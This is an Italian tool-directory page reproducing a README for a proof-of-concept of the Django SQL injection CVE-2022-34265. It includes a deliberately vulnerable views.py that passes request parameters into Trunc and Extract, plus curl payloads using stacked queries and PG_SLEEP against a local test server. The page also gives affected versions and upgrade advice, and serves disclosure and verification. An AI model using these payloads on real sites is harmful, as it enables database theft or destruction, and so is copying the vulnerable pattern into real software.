Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-34265 — PoC per CVE-2022-34265 (Django) | Kitploit
Strumenti/GitHubGitHub/aeyesec/cve-2022-34265
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHubaeyesec/cve-2022-34265

CVE-2022-34265

PoC per CVE-2022-34265 (Django)

Vedi Repository
1241534 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-34265

Utilizzo

avvio

root@kitploit:~
docker-compose build
docker-compose up -d

arresto

root@kitploit:~
docker-compose down

Verifica PoC della vulnerabilità Django (CVE-2022-34265)

Una vulnerabilità (CVE-2022-34265) in Django è stata divulgata il 5 luglio 2022 (ora USA). Questo articolo descrive la nostra discussione su questa vulnerabilità e i risultati della verifica.

Riepilogo della vulnerabilità

Questa vulnerabilità è dovuta a un'elaborazione impropria delle stringhe durante l'esecuzione di SQL per gli argomenti delle funzioni Trunc e Extract utilizzate per i dati data in Django. Specificando i parametri della richiesta così come sono nell'argomento kind di Trunc o nell'argomento di , esiste il rischio che possano essere eseguite istruzioni SQL arbitrarie. Sfruttando questa vulnerabilità, un terzo può inviare comandi al database per accedere a dati non autorizzati o eliminare il database.

Scarica lo strumento
lookup_name
Extract

Versioni interessate

  • Django 3.2.x precedenti alla 3.2.14
  • Django 4.0.x precedenti alla 4.0.6

Contromisure

  • Aggiornare a Django 3.2.14 o superiore.
  • Aggiornare a Django 4.0.6 o superiore.

Storia della vulnerabilità e considerazioni

Molte delle vulnerabilità scoperte in Django in passato erano vulnerabilità di SQL Injection, e ci siamo chiesti se esistessero altre vulnerabilità come CVE-2020-7471, quindi abbiamo controllato a turno gli argomenti delle funzioni del database, abbiamo trovato argomenti che non erano stati disinfettati, e Takuto Yoshikai (l'autore) lo ha segnalato all'IPA e al team di sviluppo di Django.

Di conseguenza, nel rilascio che risolve la CVE-2022-34265

  • Gestione delle stringhe degli argomenti vulnerabili
    • Gestione delle stringhe per prevenire la corruzione delle istruzioni SQL quando singoli apici o altri caratteri sono inclusi negli argomenti

Sono state intraprese le seguenti azioni per affrontare questi problemi.

Ambiente di verifica

  • ThinkPad Ubuntu20.04
  • Python 3.9.7
  • Django 4.0.5

Procedura e risultati della verifica

Configurazione

  • Nome del progetto: project
  • Nome dell'applicazione: vuln

Codice sorgente

vuln/models.py

Abbiamo usato un esempio dalla Documentazione Django, modello per una tabella che registra l'ora di inizio e fine di una data.

root@kitploit:~
from django.db import models

class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)

vuln/views.py

root@kitploit:~
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers

# /extract/?lookup_name=xxx

def vuln_extract(request):
    payload = request.GET.get('lookup_name')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

# /trunc/?kind=xxx
def vuln_trunc(request):
    payload = request.GET.get('kind')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

root@kitploit:~
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))

Questo filtra i numeri dell'anno nella colonna start_datetime di Experiment che sono uguali all'anno, mese, giorno, ora, minuto, secondo, ecc. di end_datetime. Una vulnerabilità di SQL Injection potrebbe essere attivata da qui.

root@kitploit:~
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))

La funzione Trunc è usata per troncare porzioni specifiche di anno, mese, giorno, ora, minuto, secondo, ecc. dei dati di data e ora. Nell'esempio sopra, start_datetime e start_datetime con la porzione payload troncata sono lo stesso record. Qui è dove potrebbe essere attivata la vulnerabilità di SQL Injection.

PoC

Per verificare che l'attacco abbia successo, usa l'istruzione PG_SLEEP per vedere se c'è un ritardo nel tempo in cui la risposta viene restituita.

root@kitploit:~
# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

Ho specificato 5 secondi in PG_SLEEP, ma sembra che PG_SLEEP(5) impieghi diversi secondi. Sembra essere chiamato diversi secondi a seconda dell'implementazione e della situazione. Poiché è possibile eseguire istruzioni SQL arbitrarie, sono possibili attacchi pericolosi come l'eliminazione del database.

Riepilogo

Come risultato della nostra discussione e verifica, abbiamo scoperto che non c'è una piccola possibilità di un attacco riuscito a seconda dell'implementazione. Ti consigliamo di aggiornare il tuo sistema il prima possibile per evitare il rischio di DROP TABLE nello scenario peggiore.

Informazioni di riferimento

  • https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34265
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7471